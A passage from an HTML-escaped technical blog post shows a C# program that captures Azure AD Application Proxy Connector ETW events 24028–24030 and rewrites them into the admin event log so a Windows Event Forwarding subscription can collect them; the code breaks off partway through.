  &lt;li&gt;We are writing that event type in the standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.evtx&lt;/code&gt; based logfile: The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; log shown earlier in the post. It’ll also still arrive in the analytic and debug log as usual.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Doing this means that our WEF subscription can pick up the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24028&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24029&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;24030&lt;/code&gt; events from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; log.&lt;/p&gt;

&lt;div class=&quot;language-c# highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System.IO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Microsoft.Diagnostics.Tracing&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Microsoft.Diagnostics.Tracing.Session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System.Diagnostics&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Session_Logs_Via_ETW&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Program&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Logger&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventSourceName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;AppProxy-ETW-Event-Extractor&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventLogName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Microsoft-AadApplicationProxy-Connector/Admin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sessionName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;AppProxyLogExporter&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;providerName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Microsoft-AadApplicationProxy-Connector&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logFilePath&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;application_log.txt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;_logger&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;logFilePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;_logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Application started.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nf&quot;&gt;EnsureEventSource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventSourceName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventLogName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;TraceEventSession&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sessionName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CancelKeyPress&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sender&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Stopping the session...&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Dispose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

                &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Dynamic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;All&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HandleEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;EnableProvider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;providerName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;Listening to events from provider &apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;providerName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;. Press Ctrl+C to exit...&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Source&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;n&quot;&gt;_logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Application ended.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Logger&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;readonly&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_logFilePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logFilePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;_logFilePath&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logFilePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logMessage&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DateTime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;AppendAllText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_logFilePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;logMessage&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Environment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;HandleEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TraceEvent&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventId1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;24028&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Microsoft AAD Application Proxy Connector received a frontend request.&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventId2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;24029&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Microsoft AAD Application Proxy Connector sent a request to backend application.&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventId3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;24030&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Microsoft AAD Application Proxy Connector received a response from backend.&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ID&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TraceEventID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventId1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;Event &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventId1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; received at: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TimeStamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;EventLogEntryType&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entryType&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventLogEntryType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Information&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eventId&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_message&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;amp;lt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Microsoft AAD Application Proxy Connector received a frontend request.&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Environment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;nf&quot;&gt;WriteToEventLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventSourceName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventLogName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entryType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eventId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ID&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TraceEventID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventId2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;$&quot;Event &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EventId2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; received at: &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TimeStamp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;EventLogEntryType&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;entryType&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EventLogEntryType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Information&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eventId&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_message&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;$&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;traceEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;amp;lt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Microsoft AAD Application Proxy Connector sent a request to backend application.&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Environment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NewLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;formated_message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
